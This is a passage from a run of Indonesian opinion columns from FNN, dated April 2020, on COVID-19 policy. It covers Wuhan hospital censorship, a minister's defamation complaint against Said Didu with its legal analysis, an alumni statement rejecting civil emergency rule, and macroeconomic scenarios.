dikeluarkan oleh departemen terkait, yang mengklaim penyakit itu dapat dikendalikan dan tidak akan menyebar antar manusia, membuat ratusan dokter dan perawat dalam kegelapan,” kata salah seorang kepala departemen RS kepada Caixin. Selain itu, para dokter menyalahkan pihak manajemen yang tidak kompeten, karena tidak ikut turun tangan menangani penyebaran virus corona. Seorang kepala departemen RS mengungkapkan, ia diminta untuk mengawasi stafnya agar tidak mengungkapkan “informasi rahasia” kepada publik, termasuk rekan mereka. Petugas medis bahkan tidak dapat melaporkan jika mereka jatuh sakit. Pekerja di RS dilarang membicarakan virus corona, atau mengirim pesan teks, foto, atau apa pun yang mungkin meninggalkan jejak. Para dokter yang diwawancara Caixin menyebut, virus corona diduga bersumber dari pasar ikan di selatan China. RS Pusat Wuhan merupakan yang paling dekat dengan lokasi tersebut, sehingga sebagian besar pasien dirawat di sana. RS pun mulai dipenuhi pasien dengan gejala Covid-19 sejak awal Januari 2020. Namun, campur tangan lembaga kesehatan berwenang di Wuhan membuat pihak RS sulit melaporkan jumlah kasus virus corona. Inilah yang tidak pernah disinggung dalam setiap tulisan Mas Dahlan ketika menulis terkait Covid-19 di China. Pada 12 Januari 2020, seorang petugas penegak hukum mendatangi RS tersebut dan memerintahkan perlunya konsultasi pakar tingkat kota dan provinsi sebelum mendiagnosis penyakit pernapasan dan melaporkannya. Pihak berwenang juga terlambat dalam pengambilan sampel dan memberikan konsultasi yang kemudian mempersulit dan memperlambat penanganan kasus Covid-19. Dengan demikian, masyarakat tidak bisa mendapat peringatan secara dini. Pada Desember 2019, RS menangani pasien terjangkit virus yang tidak memiliki riwayat bepergian ke pasar ikan. Mereka kemudian mengirimkan sampel ke laboratorium CapitalBio. Khawatir, Ai Fen pun membagikan informasi terkait hasil laboratorium di WeChat pada 30 Desember lalu. Informasi itu kemudian disebarkan oleh beberapa dokter lain, termasuk mendiang Dokter Li, untuk memperingatkan teman-teman dan kolega mereka agar dapat mengambil tindakan. Pesan ini pun semakin menyebar secara online, mendorong permintaan masyarakat terhadap informasi yang lebih lengkap. Tapi, beberapa diantara mereka, termasuk Dokter Li, justru dipanggil oleh pihak berwenang Wuhan untuk menandatangani surat peringatan berisi tuduhan bahwa dirinya telah “menyebarkan desas-desus online” dan “mengganggu ketertiban sosial”. Hingga Kamis (12/3/2020) pagi, virus corona telah menginfeksi 80.790 orang di China dan menewaskan 3.158 lainnya. Sedangkan pasien corona yang sembuh mencapai 61.624 orang. Berapa jumlah pasti dokter yang meninggal diantara 3.158 yang tewas di China itu, datanya tetap saja tertutup. Padahal, sebanyak 230 orang dari 4.000 paramedis di RS Pusat Wuhan dinyatakan terinfeksi Covid-19. Jadi, data yang disampaikan Mas Dahlan pun diragukan akurasinya. Apalagi, dalam sebuah pernyataannya yang diunggah dalam digital poster mengatasnamakan Makassar.terkini.id dengan gambar Mas Dahlan dan statement-nya yang bernada “miring”. "Anda sudah tahu Amerika mengalahkan Tiongkok dari segi jumlah kasus Covid-19. Anda sudah tahu Italia mengalahkan Tiongkok dari segi jumlah meninggal. Mungkin Anda belum tahu: Indonesia sudah mengalahkan Tiongkok dari segi jumlah dokter yang meninggal karena Covid-19." Dahlan Iskan. Tapi, Mas Dahlan “tidak tahu” kalau APD paramedis di Indonesia sangat terbatas dan benar-benar memprihatinkan. Sampai harus ada yang pakai jas hujan segala. Tidak seperti yang di Tiongkok. Lengkap dan serba modern. Jadi sekarang ini, setelah dua dokter ini dinyatakan meninggal karena Covid-19, total dokter Indonesia yang meninggal karena wabah virus corona ada 12 dokter. Bahkan, data terakhir yang saya terima hari ini, ternyata jumlahnya sudah mencapai 25 orang. Melansir Riau24.com, Jum'at (3 April 2020 pukul 19.06), dua perwira terbaik gugur dalam melaksanakan tugas menangani pasien penderita virus corona atau Covid-19. Kedua prajurit TNI, yakni Laksamana Pertama (Purn) Jeanne PMR Winaktu dan Letnan Kolonel W Mulatsih. Mereka gugur dalam tugas pada Kamis 2 April 2020. Dokter Jeanne meninggal di RSAL Mintoharjo, sedangkan Letkol W Mulatsih meninggal di RS Marinir Cilandak. Dokter Jeanne bukan tenaga medis biasa, dia adalah dokter spesilias bedah saraf pertama di negara ini. Sementara itu, Letkol W Mulatsih merupakan Kepala Departemen Keperawatan RS Marinir Cilandak. Mereka gugur berusaha menyelamatkan nyawa banyak pasien penderita Corona di kedua rumah sakit itu. Mereka telah berani mengambil beresiko tinggi! Mereka tidak peduli nyawanya sendiri sedang terancam. Mereka inilah pahlawan penyelamat nyawa rakyat Indonesia tanpa pamrih! *** Penulis Wartawan Senior.

Saya Ini Menko, Kekuasaan Saya Besar, Kalian Mau Apa?

By Asyari Usman Jakarta, FNN - Ini bukan bercanda. Saya mau bertanya kepada pakar hukum pidana. Khususnya pakar pidana UU ITE. Sekaligus bertanya kepada para pakar politik dan demokrasi. Juga para pakar kebebasan berbicara. Yang ingin saya tanyakan begini. Saya duduk sebagai Menko yang memegang kekuasaan sangat besar. Dan saya juga punya bisnis yang menggurita. Saya mengurusi semua hal. Apa saja yang muncul, presiden selalu menghubungi saya dan meminta pendapat saya. Apa yang saya katakan, selalu diterima oleh persiden. Sering juga saya sendiri yang membisikkan berbagai solusi masalah kepada persiden. Dan persiden selalu setuju. Publik sudah sangat muak dengan kelakuan saya. Bahkan banyak yang jijik melihat cara saya mengendalikan pemerintahan. Cukup banyak pula yang mengatakan bahwa persiden adalah boneka saya. Sayalah persiden yang sesungguhnya. Terserah saja. Nah, sebelum pertanyaan itu saya tuliskan, ada baiknya saya akui terus terang peranan saya sebagai menteri yang memilik kekuasaan besar. Saya akui bahwa saya memang diberi wewenang eksekutif yang tidak pernah ada dalam sejarah kabinet di mana pun di dunia ini. Kekuasaan yang saya pegang itu boleh dikatakan tanpa batas sektoral. Plus, tanpa ada etika ministerial. Pokoknya, semua saya campuri. Semua saya yang atur. Semua menteri bisa saya kendalikan. Menteri bidang apa saja. Saking besarnya kekuasaan yang diberikan persiden kepada saya, saya bisa membungkam menteri apa saja. Sebaliknya, saya tidak bisa dilawan oleh menteri mana pun juga. Mereka semua harus patuh kepada saya. Resminya, saya dulu mengurusi masalah ombak laut saja. Tetapi, saya berhasil meyakinkan persiden bahwa masalah investasi pun harus saya yang urus. Siapa saja yang mau membawa modal ke sini, harus lewat saya. Yang saya utamakan adalah modal dari Cheena. Sekarang ini, apa saja yang mau dibangun harus diserahkan kepada Cheena. Pemerintah juga banyak ‘ngutang ke sana. Pokoknya, saya arahkan persiden untuk memperkuat kehadiran Cheena di sini. Tidak hanya duit Cheena yang dimasukkan ke sini. Orang-orang mereka pun dibawa untuk mengerjakan proyek-proyek yang dibiayai oleh mereka. Kebetulan pula, Cheena membuat syarat bahwa semua proyek yang mereka biayai harus ditangani sendiri oleh orang mereka. Saya sebagai Menko mengikuti saja apa yang diinginkan Cheena itu. Bahkan saya bantu mereka dengan kekuasaan besar yang saya miliki. Kalau, misalnya, ada instansi yang mencoba-coba menjalankan aturan izin masuk dan izin tinggal terhadap orang-orang Cheena, saya langsung turun tangan. Semua beres. Mereka bisa masuk dan bekerja. Semua pejabat lain diam. Tak berani melawan saya. Lantas, apakah saya dapat keuntungan pribadi dari semua ini? Nah, soal ini ‘kan tidak ada bukti. Orang di luar sana banyak yang bilang saya dapat komisilah, fee proyeklah, hadiahlah, dlsb. Tapi, bisakah mereka buktikan itu? Kalau saya lihat, tidak bisa. Itulah sebabnya saya ancam orang-orang yang mengatakan bahwa saya ini hanya memikirkan duit, duit, duit saja. Saya tersinggung. Dari mana mereka tahu bahwa saya mendapat keuntungan pribadi? Silakan mereka buktikan. Kalau tempohari ada laporan utama sebuah majalah bergengsi yang menguraikan tentang dugaan bahwa perusahaan-perusahaan saya memainkan pajak ekspor-impor, memang tidak saya layani. Saya diam saja. Kalian bisa menerka-nerka bahwa ke-diam-an saya itu pertanda isi laporan majalah itu benar. Terserah kalianlah. Ok. Kembali ke pertanyaan yang belum saya tuliskan di sini. Saya mau bertanya kepada para pakar hukum pidana, apakah labelisasi bahwa “saya ini hanya memikirkan duit, duit, duit saja” adalah ucapan kebencian dan penghinaan? Bagi saya, itu penghinaan. Karena itu, saya mengultimatum orang yang mengatakan itu agar meminta maaf kepada saya. Kalau tidak, saya akan bawa ke ranah hukum. Saya pasti menang. Orang itu pasti masuk penjara. Karena semua orang bisa saya atur. Belakangan saya dengar banyak publik yang membela orang itu. Saya tak peduli. Silakan saja. Biar mereka tahu siapa saya. Biar mereka tahu siapa yang punya negara ini. Biar mereka tahu siapa yang mengatur persiden. Terus, apakah ucapan itu bisa disebut kritik? Bagi saya, tidak. Itu bukan kritik. Kalau para pakar demokrasi mengatakan itu kritik, saya tak perduli. Saya mau hajar itu orang. Supaya yang lain-lain tak berani lagi mengkritik saya. Kebebasan berbicara? Kebebasan berpendapat? No way. Tidak ada itu. Mau kalian bawa ke mana, silakan saja. Saya ini Menko. Kekuasaan saya besar. Saya berkuasa penuh. Kalian mau apa?[] 04 April 2020. Penulis Wartawan Senior

Tuntutan LBP Antara Reputasi dan Hak Asasi

Oleh DR. Eddy Rifai, SH., MH. Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman dan Investasi sekaligus Menhub Ad Interim Luhut Binsar Pandjaitan (LBP) akan menuntut mantan Sekretaris Kementerian BUMN, Muhammad Said Didu (MSD), atas pernyataan yang dianggap menyudutkan dirinya. Hal itu merupakan buntut dari pernyataan Said Didu yang menyatakan Luhut dinilai mementingkan keuntungan pribadi saja tanpa memikirkan penanganan virus corona (Kompas.com, 3/4/2020). Jodi Mahardika, juru bicara LBP, melalui keterangan tertulis, membenarkan bahwa pimpinannya tersebut telah mengetahui kejadian pencemaran nama baik LBP. Maka dari itu, melalui Jodi, LBP meminta agar Said Didu menyatakan maaf secara langsung kepadanya dan melalui semua media sosialnya terhitung mulai hari ini. “Secara keseluruhan, seseorang dapat dikenakan pasal hate speech, Pasal 317 KUHP dan 318 KUHP dan juga dapat dikenakan Pasal 45A ayat (2) UU No. 19 Tahun 2016 terkait ITE jika menyebarkan ujaran kebencian, yaitu bisa memprovokasi, menghasut, serta penyebaran kabar atau berita bohong melalui media sosial,” tegas Jodi. Asal mula tuntutan ini terjadi dari kanal YouTube Said Didu, Muhammad Said Didu yang diwawancarai Hersubeno Arief berdurasi 22 menit beberapa waktu lalu. Dalam video tersebut, Said Didu menyoroti soal isu persiapan pemindahan ibu kota negara (IKN) baru yang masih terus berjalan di tengah usaha pemerintah dan semua pihak menangani wabah Covid-19. Penghinaan dalam KUHP dan UU ITE Dalam KUHP, istilah pencemaran nama baik dikenal dengan istilah “penghinaan” yang diatur secara khusus dalam Bab XVI tentang Penghinaan yang dimuat dalam Pasal 310 s.d. Pasal 321 KUHP. R. Soesilo menjelaskan, “menghina” dapat diartikan sebagai menyerang kehormatan dan nama baik seseorang. Adapun kehormatan yang dimaksud berkaitan dengan rasa malu seseorang. Penghinaan dalam KUHP dibagi menjadi 6 (enam) jenis, yakni: Penistaan (Pasal 310 ayat (1) KUHP), yakni perbuatan menuduh seseorang telah melakukan perbuatan tertentu yang bertujuan agar tuduhan tersebut diketahui oleh orang banyak. Penistaan dengan surat (Pasal 310 ayat (2) KUHP), yakni perbuatan tuduhan tersebut dilakukan secara tertulis. Fitnah (Pasal 311 KUHP), yakni apabila perbuatan yang dituduhkan sebagaimana dimaksud pada Pasal 310 KUHP tidak benar. Penghinaan Ringan (Pasal 315 KUHP), yakni jika penghinaan dilakukan di tempat umum yang berupa kata-kata makian yang sifatnya menghina, maupun berupa perbuatan. Pengaduan palsu atau pengaduan fitnah (Pasal 317 KUHP) dan Perbuatan fitnah (Pasal 318 KUHP). UU ITE lebih menekankan pada media atau cara dari pencemaran nama baik tersebut dilakukan. Hal ini diatur dalam Pasal 27 ayat (3) UU ITE yakni: “Setiap Orang dengan sengaja dan tanpa hak mendistribusikan dan/atau menstransmisikan dan/atau membuat dapat diaksesnya Informasi Elektronik dan/atau Dokumen Elektronik yang memiliki muatan penghinaan dan/atau pencemaran nama baik.” Adapun berdasarkan penjelasan pasal tersebut, definisi pencemaran nama baik mengacu pada pencemaran nama baik dan/atau fitnah yang diatur dalam KUHP. Dalam UU ITE lama, pencemaran nama baik merupakan delik atau tindak pidana biasa yang dapat diproses secara hukum meski tidak adanya pengaduan dari korban. Namun, ketentuan ini telah mengalami perubahan yang telah diatur di dalam UU ITE baru (2016). Di mana, dalam UUITE baru, tindak pidana pencemaran nama baik berubah menjadi delik aduan (klacht delict) yang mengharuskan korban membuat pengaduan kepada pihak yang berwajib. Berdasarkan Putusan MK No. 50/PUU-VI/2008 ketentuan pencemaran nama baik menjadi tindak pidana aduan tidak dapat dipisahkan dari norma hukum pokok dalam Pasal 310 dan Pasal 311 KUHP yang mensyaratkan adanya pengaduan (klacht) untuk dapat dituntut di hadapan Pengadilan. Oleh karena itu, jika seseorang mendapatkan kasus pencemaran nama baik, ia harus melakukan pengaduan ke pihak yang berwenang. Karena kasus pencemaran nama baik hanya akan diproses jika pihak yang menjadi korban melakukan pengaduan kasus tersebut. Bunyi pasal 45A ayat (2) UUITE adalah “Setiap Orang yang dengan sengaja dan tanpa hak menyebarkan informasi yang ditujukan untuk menimbulkan rasa kebencian atau permusuhan individu dan/atau kelompok masyarakat tertentu berdasarkan atas suku, agama, ras, dan antargolongan (SARA) sebagaimana dimaksud dalam Pasal 28 ayat (2) dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp1.000.000.000,00 (satu miliar rupiah)”. Berdasarkan ketentuan KUHP dan UUITE, terdapat pelbagai bentuk delik pencemaran nama baik berupa penghinaan, fitnah, pengaduan fitnah dan perbuatan fitnah, juga terdapat delik penyiaran kabar bohong dan SARA. Antara Reputasi dan Hak Asasi Sebagaimana putusan MK di atas yang mengkualifikasikan delik pencemaran sebagai delik aduan, MK juga menentukan genus dari delik pencemaran terdapat dalam Pasal 310 dan 311 KUHP. Merujuk penjelasan R. Soesilo dalam Pasal 310 KUHP, perbuatan dalam Pasal 310 ayat (1) dan ayat (2) KUHP tidak masuk menista atau menista dengan tulisan (tidak dapat dihukum), apabila tuduhan itu dilakukan untuk membela kepentingan umum atau terpaksa untuk membela diri. Dalam hal ini hakim barulah akan mengadakan pemeriksaan apakah betul-betul penghinaan itu telah dilakukan oleh terdakwa karena terdorong membela kepentingan umum atau membela diri, jikalau terdakwa meminta untuk diperiksa (Pasal 312 KUHP). Apabila soal pembelaan itu tidak dapat dianggap oleh hakim, sedangkan dalam pemeriksaan itu ternyata, bahwa apa yang dituduhkan oleh terdakwa itu tidak benar, maka terdakwa tidak disalahkan menista lagi, akan tetapi dikenakan Pasal 311 KUHP (memfitnah). Dalam perkara Prita Mulyasari yang telah dibebaskan dari hukuman berdasarkan putusan Peninjauan Kembali (PK) Mahkamah Agung terdapat kaedah hukum penting untuk mengkualifikasikan, apakah suatu pernyataan di dunia maya merupakan delik pencemaran atau hanya kritik yang dijamin konstitusi dan tidak dapat dipidana. Seperti diketahui, kasus Prita Mulyasari berawal dari tulisannya melalui surat elektronik atau email yang berisi tentang keluhannya atas pelayanan Rumah Sakit Omni Internasional Alam Sutera Tangerang, yang kemudian menyebar, dan berbuah gugatan perdata, dan pidana oleh pihak RS Omni Internasional. Kebebasan berekspresi merupakan salah satu hak asasi manusia yang sangat strategis dalam menopang jalannya kehidupan demokrasi. Hak ini dijamin dan dilindungi oleh Negara. Namun, dalam rezim hukum dan hak asasi manusia, selain menjamin kebebasan berekspresi ini, negara juga menjamin hak individu atas kehormatan atau reputasi. Dalam banyak kasus, Pengadilan lebih memilih untuk mendahulukan hak atas reputasi daripada mempertimbangkan keduanya secara seimbang dan seksama. Perlindungan terhadap hak atas reputasi tidak boleh mengancam kebebasan berekspresi. Berdasarkan kaedah hukum di atas, apakah pernyataan MSD merupakan delik pencemaran atau merupakan kritik yang tidak dapat dipidana adalah tergantung bagaimana penegak hukum menempatkan antara reputasi dan hak asasi. Apabila reputasi didahulukan, maka hal itu merupakan delik. Sebaliknya apabila hak asasi diutamakan sebagaimana putusan PK MA, maka pernyataan MSD bukan delik dan tidak dapat dipidana.*** Penulis Pengajar Fakultas Hukum Universitas Lampung

Kasihanilah Si Corona

Oleh Hersubeno Arief Jakarta, FNN - Jahat mana virus Corona atau para oligarki? Sekelompok orang yang mengendalikan bisnis dan kekuasaan di Indonesia. Kalau Anda sudah sempat membaca tiga regulasi yang baru diterbitkan pemerintah, pasti tidak akan ragu menjawab. Ketiganya adalah Perppu No 1 Tahun 2020 Tentang Keuangan Negara dan Stabilitas Sistem. Peraturan Pemerintah (PP) tentang Pembatasan Sosial Berskala Besar, dan Keputusan Presiden (Keppres) Penetapan Kedaruratan Kesehatan Masyarakat, Dibandingkan dengan oligarki, virus Corona tidak ada apa-apanya. Cemen. Oligarki lebih mengerikan, lebih jahat berkali-kali lipat. Mereka lebih pandai memanfaatkan situasi. Memanfaatkan kekacauan, ketakutan publik. Menarik keuntungan di tengah kemalangan. Menjadikan Corona sebagai kambing hitam, menimpakan kesalahan sepenuhnya kepada virus made in China itu. Padahal sesungguhnya dari mereka lah segala kekacauan negara ini bermula. Beda sekali dengan Corona. Sebagai mahluk Tuhan, dia hanya mengikuti “nalurinya.” Mencari inang, yang bisa menjadi induk tempat berkembang biak. Itu pun dia tidak berdaya ketika manusia disiplin menjaga jarak. Menjaga kebersihan. Dia hanya bisa melompat sejauh 1-2 meter. Kalau gagal, lama-lama dia akan mati sendiri. Para oligarki bisa masuk dan hinggap kemana-mana. Usianya juga sangat panjang. Berpindah dari satu penguasa-ke penguasa lainnya. Mengatur apa yang harus dilakukan oleh pemerintah. UU dan aturan mana yang harus diterbitkan, dan mana yang tidak. Siapa yang harus dikorbankan, dan siapa yang harus diuntungkan. Munculnya tiga aturan tadi, semakin membuka mata publik, ada pintu belakang di istana. Pintu yang digunakan lalu lalang, oleh orang-orang yang lebih dipercaya Presiden, dibandingkan para menterinya. Coba cermati kronologinya. Menko Polhukam Mahfud MD pada Jumat (27/3) menyatakan pemerintah sedang mempersiapkan Perppu tentang Karantina Wilayah. Empat hari kemudian, Selasa (31/3) Presiden Jokowi mengumumkan Peraturan Pemerintah Pembatasan Sosial Berskala Besar (PSBB). Bukan Perppu Karantina seperti dikatakan Mahfud. Perppu justru diterbitkan untuk mengamankan kepentingan korporasi. Menjamin kepastian hukum bagi para pengambil kebijakan. Kesimpulan publik, omongan Mahfud tidak bisa dipegang. Toh dia hanya pembantu. Setiap saat bisa dipecat. Ada pembisik lain yang lebih didengar, dipercaya, dan sarannya dilaksanakan Presiden. Merekalah yang membiayai, mengantar, dan menjaganya agar tetap dalam tampuk kekuasaan. Menyelundupkan Pasal Selasa (2/4) Menteri Keuangan Sri Mulyani dan Menkumham Yasona Laoly menyerahkan Rancangan Undang Undang (RUU) Perppu tersebut ke DPR. Hampir dapat dipastikan DPR akan menyetujuinya. Perppu akan segera berlaku secara efektif. Tinggal ketok palu. Selain tidak adanya oposisi yang kuat. Sudah menjadi rahasia umum, tangan-tangan oligarki menjangkau sangat jauh di parlemen. Mereka menempatkan pion-pionnya, sebagai proxy di gedung wakil rakyat. Mencermati pasal demi pasal dalam Perppu No 1 Tahun 2020, PP dan Kepres Corona, koalisi masyarakat sipil, pegiat pemerintahan yang bersih, atau siapapun yang masih waras, hanya bisa geleng-geleng kepala. Ada kesan kuat pemerintah memanfaatkan situasi krisis untuk memuluskan agenda terselubung. Menuai “berkah” di tengah musibah. Ada pasal-pasal di RUU Omnibus Law yang diselundupkan dalam Perppu. Pasal yang lebih menguntungkan dunia usaha dan banyak ditolak. Alokasi dananya juga tidak fokus pada pemberantasan virus. Tidak fokus pada penyelematan kesehatan. Yang lebih memprihatinkan, ada pasal yang disiapkan secara cerdik, untuk mengamankan para pemegang otoritas dan kebijakan. Mereka tidak bisa dijerat hukum manakala terjadi penyimpangan. Pasal penyesuaian tarif pajak penghasilan (PPh) wajib pajak badan dalam negeri dan bentuk usaha tetap (BUT), yang semula masuk di RUU Omnibus Law, ditarik ke Perppu. Pemerintah menurunkan tarif PPh badan dari 25% menjadi 22%. Kemudian turun lagi menjadi 20% pada tahun berikutnya. Tarif ini berlaku mulai tahun ini, lebih cepat dari usulan awal yang dimasukkan dalam RUU Omnibus Law Perpajakan. Dalam rancangan Omnibus Law, penurunan baru akan dimulai pada 2021. Sikap pemerintah sejak awal konsisten. Lebih mementingkan ekonomi, ketimbang keselamatan dan nyawa rakyat, juga terlihat dari alokasi anggaran yang disediakan. Dari total Rp 405, 1 triliun yang dianggarkan, hanya Rp 75 triliun untuk bidang kesehatan. Meliputi perlindungan tenaga kesehatan, pembelian alat kesehatan, perbaikan fasilitas kesehatan, dan insentif dokter. Yang terbesar justru anggaran untuk pemulihan ekonomi nasional Rp 150 triliun. Rp 70,1 stimulus perpajakan dan kredit usaha rakyat. Selebihnya sebesar Rp 110 triliun untuk jaring pengaman sosial. Akar penyebab persoalan, yakni sektor kesehatan hanya mendapat porsi 18.5%. Selebihnya digunakan untuk mengatasi dampaknya. Sebagai konskuensi dari adanya anggaran baru tersebut pemerintah memperlebar defisit anggaran. Dari semula 3% menjadi 5.07%. Apa artinya? Pemerintah leluasa menambah utang baru. Utang yang sudah menjadi _life style_ pemerintah. Utang yang akan diwariskan pada pemerintahan berikutnya. Utang yang akan diwariskan kepada anak cucu kita. Corona benar-benar menjadi dewa penyelamat bagi pemerintah. Jauh sebelum wabah melanda, Menteri Keuangan Sri Mulyani sudah berkali-kali menyatakan defisit anggaran anggaran akan semakin melebar. Pada bulan November 2019 Sri Mulyani sudah mengingatkan defisit anggaran akan mencapai 2 sampai 2.2%. Dalam APBN 2019 dipatok 1.87%. Alasannya karena perlambatan ekonomi global dan melesetnya penerimaan pajak. Sekarang Corona yang menjadi alasan. “Berkah” lain yang dituai oligarki, sebagian dari mereka akan segera bebas dari penjara. Menkumham Yasona Laoly mengusulkan narapidana lansia berusia di atas 60 tahun dibebaskan. Usulan itu sudah disetujui Presiden. 300 orang napi koruptor, bersiap-siap menghirup udara bebas. Banyak diantara mereka adalah politisi, petinggi negara, dan kroninya. Kalau sudah begini, kita hanya bisa mengelus dada. Kasihan sekali kau Corona. Di seluruh dunia menjadi musibah. Ditakuti, menjadi momok yang menakutkan. Eh….di Indonesia malah menjadi blessing in disguise. “Berkah” yang tersembunyi bagi sekelompok oligarki. Dihadapan oligarki, Corona mati gaya. Dia tidak bisa menggugat karena namanya dicemarkan. Corona suatu saat akan mati. Oligarki tidak ada matinya. Please….kasihanilah Corona. End. Penulis Wartawan Senior.

Rilis Pernyataan Sikap, Ikatan Alumni BEM PT Muhammadiyah Se-Indonesia Menolak Darurat Sipil

Oleh Ahmad Lohy Jakarta, FNN – Rencana pemerintah menetapkan status darurat sipil sebagai upaya penanggulangan Wabah Covid-19, muncul reaksi dari beberapa kalangan, diantaranya dari Ikatan Alumni BEM Perguruan Tinggi (PT) Muhammadiyah Se-Indonesia. Presiden mengumumkan untuk manjalankan UU/Perppu No. 23 Tahun 1959 Tentang Darurat Sipil melalui bebarapa tahapan itu dinilai kurang tepat. Sehingga perlu dikoreksi untuk membangun kehidupan berbangsa dan bernegara yang lebih baik. Demikian bunyi rilis lengkap pernyataan sikap : Pernyataan Sikap Ikatan Alumni BEM Perguruan Tinggi Muhammadiyah Se-Indonesia Menyikapi situasi sosial, politik dan ekonomi nasional saat ini, ditengah ancaman Pandemi Covid-19 dengan ini kami dari Ikatan Alumni BEM Perguruan Tinggi Muhammadiyah Se- Indonesia : Menolak Pemberlakuan Darurat Sipil yang berdasar kepada Perpu No 23 Tahun 1959 dan mendukung Pemberlakuan Karantina Wilayah sebagaimana diatur dalam UU No 6 Tahun 2018 Tentang Karantina Kesehatan, guna memastikan pemenuhan hak-hak warganegara ditengah situasi Pandemi. Berdasarkan poin pertama, kami menuntut Pemerintah pusat untuk segera menganulir rencana penetapan Darurat Sipil sebagai solusi menghadapi Pandemi Covid-19. Menuntut Presiden Joko Widodo untuk tampil terdepan memberikan informasi-informasi yang menenangkan situasi sebagai bentuk Public Address ditengah ketidakpastian informasi saat ini. Mendesak Presiden Joko Widodo untuk segera moncopot Menteri Kesehatan akibat kelalaiannya dalam menilai situasi Pandemi yang berdampak pada kondisi saat ini. Mendesak Pemerintah untuk segera memastikan ketersediaan APD untuk Pekerja Medis di Seluruh Indonesia. Demikian pernyataan ini kami sampaikan mohon ditindaklanjuti Terima Kasih Ikatan Alumi BEM Perguruan Tinggi Muhammadiyah Se- Indonesia. Jakarta, 03 April 2020 Ttd. Muhammad Wildan (Mantan Wakil Presiden BEM Universitas Muhammadiyah Jakarta. Rofsanjani Ali. (Mantan Koordinator Presidium Nasional BEM PTM se-Indonesia periode 2011/2012). Izra Jinga Saeni,.SH,MH (Mantan Presiden BEM Universitas Muhammadiyah Kendari) Danang Prasetya (Presiden Mahasiswa Univ. Muh. Surakarta periode 2010/2011) Iskandar La Ngali (Wapres BEM UM.Mataram 2009-2010) Selpi Setiadi ( Mantan Presiden Mahasiswa Universitas Muhammadiyah Sukabumi 2010-2012) Andri Susanto Bethan (Mantan Presdium Nasional BEM PTM Se-Indonesia Zona 2 Kalimantan, BEM Universitas Muhammadiyah Kaltim) Riza Aulia (Mantan Presma BEM Univ. Muhammadiyah Banda Aceh) Alfajri A. Rahman (Mantan BEM Univ. Muhammadiyah Maluku Utara). Abdul Jabbar Al Bugizy (Mantan Presidium Nasional BEM PTM Zona 7 Wilayah Indonesia Timur, UMS Rappang). M Fadly Sangadji (Mantan Koordinator Presidium Nasional BEM PTM Se-Indonesia/UMJ periode 2010/2011) Ibnu Misbakhul Hayat (Mantan Presma ITB Ahmad Dahlan Jakarta) Zul Agung Sulaiman (Mantan Menlu BEM UMT Periode 2014-2015) Rubianto (Mantan Presma UMY periode 2009 - 2011) Firdaus Abdullah (Presidium Nasional BEM PTM se-Indonesia zona 5 / Presiden Mahasiswa Unmuh Malang 2012-2013)

Skenario Makro Ekonomi Indonesia Setelah Keluar Perpu

By Andi Rahmat Jakarta FNN – Kamis (02/04). Ada yang unik dan terbilang langka dari paparan lengkap kebijakan yang diambil oleh pemerintah dalam menghadapi pandemi Covid 19. Paparan yang disampaikan Kementerian Keuangan dalam konferensi persnya tanggal 1 April 2020. Garis besar kebijakan itu sendiri sebelumnya sudah disampaikan langsung oleh Presiden Joko Widodo di Istana Negara. Yang unik dan langka itu adalah keterbukaan pemerintah dalam memaparkan resiko makro ekonomi yang mungkin akan kita alami. Dalam model persandingan skenario, pemerintah memaparkan tiga skenario berbeda. Yaitu, skenario normal yang sama dengan asumsi yang dianut didalam APBN 2020. Skenario Berat. Terakhir, skenario sangat berat. Saya ingin mengapresiasi keterbukaan ini. Setidaknya keterbukaan itu membantu kita membaca alam pikiran pemerintah dalam menghadapi krisis ini. Sekaligus juga membuka jendela prediktif bagi pelaku ekonomi dan para ekonom dalam melihat arah perkembangan ekonomi Indonesia. Skenario “normal” tentu sudah tidak relevan lagi. Sisa skenario “ Berat dan Sangat Berat “. Pada dua skenario ini, kunci yang membedakan secara signifikan itu adalah ekonomi rumah tangga (household economy) dan ekonomi pemerintah. Dalam istilah komponen pembentuk PDB, kedua skenario itu bertumpu pada konsumsi rumah tangga dan konsumsi pemerintah. Tapi signifikansinya lebih berat ke arah konsumsi pemerintah. Murni keynesian. Yang bermakna, inti dari pergeseran skenario ekonomi itu adalah pada kapasitas dan kapabilitas intervensi pemerintah. Dalam skenario “Normal”, pemerintah fungsinya sebagai pendorong, alias Tut Wuri Handayani. Dalam skenario “Berat dan Sangat Berat” pemerintah adalah lokomotif utama, alias Ing Ngarso Sung Tulodo. Lantas dimana fungsi sektor swasta? . Skenario ini menunjukkan ketidak berdayaan sektor swasta dalam menghadapi situasi krisis ini. Komponen Pembentukan Modal Tetap Bruto ( PMTB ) yang mengindikasikan dinamika sektor swasta dalam dua skenario tersebut mengalami pemerosotan tajam. Proyeksinya, dari 6,0% dalam situasi “ Normal”, merosot jatuh hingga 1,12% dalam situasi “ Berat” dan menjadai -4,22% dalam situasi “Sangat Berat”. Centang perenang. Terpapar signifikan sebagi korban utama dalam krisis ini secara ekonomi. Demikian juga dengan ekonomi rumah tangga. Dalam dua skenario tersebut, kurvanya memang tidak securam PMTB, tetapi penurunannya pun juga sangat drastis. Dari 5,0% kontribusi terhadap PDB menjadi masing-masing 3,22% dan 1,60%. Keadaan ini bukan lagi menggambarkan keadaan kontraksi. Tapi keadaan ekonomi yang mengalami krisis. Di dalam skenario ekonomi makro, “kekacauan” itu tercermin pada proyeksi pertumbuhan PDB yang bergerak pada 2,3 % pada skenario “Berat” dan -0’4% pada skenario “ Sangat Berat”. Perekonomian Nasional akan kehilangan lebih dari separuh kapasitas normalnya, atau malah kehilangan keseluruhan kapasitasnya. Demikian juga pada pergerakan nilai tukar yang cepat dan drastis. Setting kesadaran skenik pemerintah ini, sangat signifikan dalam menakar kapasitas dan kapabilitas pemerintah dalam membuat dan menjalankan kebijakannya. Pada skenario “Berat”. Terdapat keyakinan bahwa sumber kapasitas pemerintah masih bisa diandalkan. Pada skenario “ Normal”, konsumsi pemerintah dipatok diangka 4,3%. Pada skenario “ Berat”, angka itu bergerak ke atas, 6,83%. Ada upaya yang “extraordinary” dari pemerintah dalam bentuk tambahan 2,5% konsumsinya. Atau dengan kata lain, untuk tahun 2020 ini saja, pemerintah harus mengupayakan produktifitas kapasitasnya tidak kurang dari 130% kapasitas normalnya. Mungkinkah itu? Kuncinya ada pada efisiensi dan pembiayaan. Konsistensi dalam menerapkan prinsip efisiensi sepanjang proses ini tak bisa ditawar-tawar. Ekspansi fiskal diarahkan pada program yang betul- betul bisa menahan laju pemerosotan ekonomi. Sekaligus juga memberi ruang bagi pemulihan 